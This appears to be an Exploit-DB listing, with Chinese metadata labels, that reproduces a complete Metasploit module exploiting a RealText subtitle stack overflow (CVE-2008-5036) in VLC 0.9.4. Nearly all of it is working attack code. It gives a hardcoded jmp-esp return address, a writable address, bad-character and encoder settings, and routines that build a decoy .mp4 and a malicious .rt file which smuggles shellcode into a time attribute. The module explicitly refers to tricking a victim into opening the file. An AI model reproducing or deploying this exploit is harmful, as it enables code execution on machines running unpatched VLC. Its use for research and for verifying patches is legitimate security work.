标题: VideoLAN VLC Media Player 0.9.5 - RealText Subtitle Overflow (Metasploit) EDB-ID: 18548 CVE: 2008-5036 类型: LOCAL 平台: WINDOWS 发布日期: 2012-03-02 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'VLC Media Player RealText Subtitle Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow vulnerability in
    VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of
    RealText subtitle files.

     In order to exploit this, this module will generate two files:
    The .mp4 file is used to trick your victim into running. The .rt file
    is the actual malicious file that triggers the vulnerability, which
    should be placed under the same directory as the .mp4 file.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Tobias Klein',  # Vulnerability Discovery
     'SkD', # Exploit
     'juan vazquez' # Metasploit Module
    ],
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'OSVDB', '49809' ],
     [ 'CVE', '2008-5036' ],
     [ 'BID', '32125' ],
     [ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ],
     [ 'URL', 'http://www.videolan.org/security/sa0810.html' ]
    ],
   'Payload'        =>
    {
     'Space'          => 1900,
     'DisableNops'    => true,
     'BadChars'       => "\x00\x22\x0a",
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1',
      {
       'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll
       'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Nov 05 2008',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.rt']),
   ], self.class)
 end

 def generate_mp4
  mp4 = ''
  # ftyp
  mp4 << "\x00\x00\x00\x14"  #Size
  mp4 << "ftyp"              #Type
  mp4 << "isom"              #Major brand
  mp4 << "\x00\x00"          #version
  mp4 << "\x00\x00"
  mp4 << "mp41"              #Compatible brands
  # moov
  mp4 << "\x00\x00\x00\x9f"  #Size
  mp4 << "moov"              #Type
  mp4 << "\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xcb\x75\xf1\xc2\xcb\x75\xf1\xc2"
  mp4 << "\x00\x01\x5f\x90\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  mp4 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  mp4 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
  mp4 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  mp4 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2b"
  mp4 << "udta"
  mp4 << "\x00\x00\x00\x23"
  mp4 << "\xa9\x65\x6e\x63\x00\x17\x00\x00"
  mp4 << "vlc 0.9.4 stream output"
  # wide
  mp4 << "\x00\x00\x00\x08"
  mp4 << "wide"
  # mdat
  mp4 << "\x00\x00\x00\x08"
  mp4 << "mdat"

  return mp4
 end

 def generate_rt
  my_payload = ""
  my_payload << Rex::Text.rand_text(72, payload_badchars)
  my_payload << [target.ret].pack("V") # EIP => jmp esp
  my_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+8").encode_string # ESP => jmp after "Writable address"
  my_payload << Rex::Text.rand_text(2, payload_badchars)
  my_payload << [target['WritableAddress']].pack("V") # Writable address
  my_payload << payload.encoded

  rt_file = <<-eos
<window height="250" width="300" duration="15" bgcolor="yellow">
Mary had a little lamb,
<br/><time begin="#{my_payload}"/>
<br/><time begin="6"/>little lamb,
<br/><time begin="9"/>Mary had a little lamb
<br/><time begin="12"/>whose fleece was white as snow.
</window>
  eos

  return rt_file
 end

 def exploit

  mp4 = generate_mp4
  rt  = generate_rt

  print_status("Creating '#{datastore['FILENAME']}'. Put this file under the same directory as the mp4 file")
  file_create(rt)

  original_fname = datastore['FILENAME']
  datastore['FILENAME'] = original_fname.scan(/(\w+).\w+/).flatten[0] + ".mp4"
  print_status("Creating '#{datastore['FILENAME']}'. This is the file your victim should open.")
  file_create(mp4)

  datastore['FILENAME'] = original_fname

 end
end URL: https://www.exploit-db.com/exploits/18548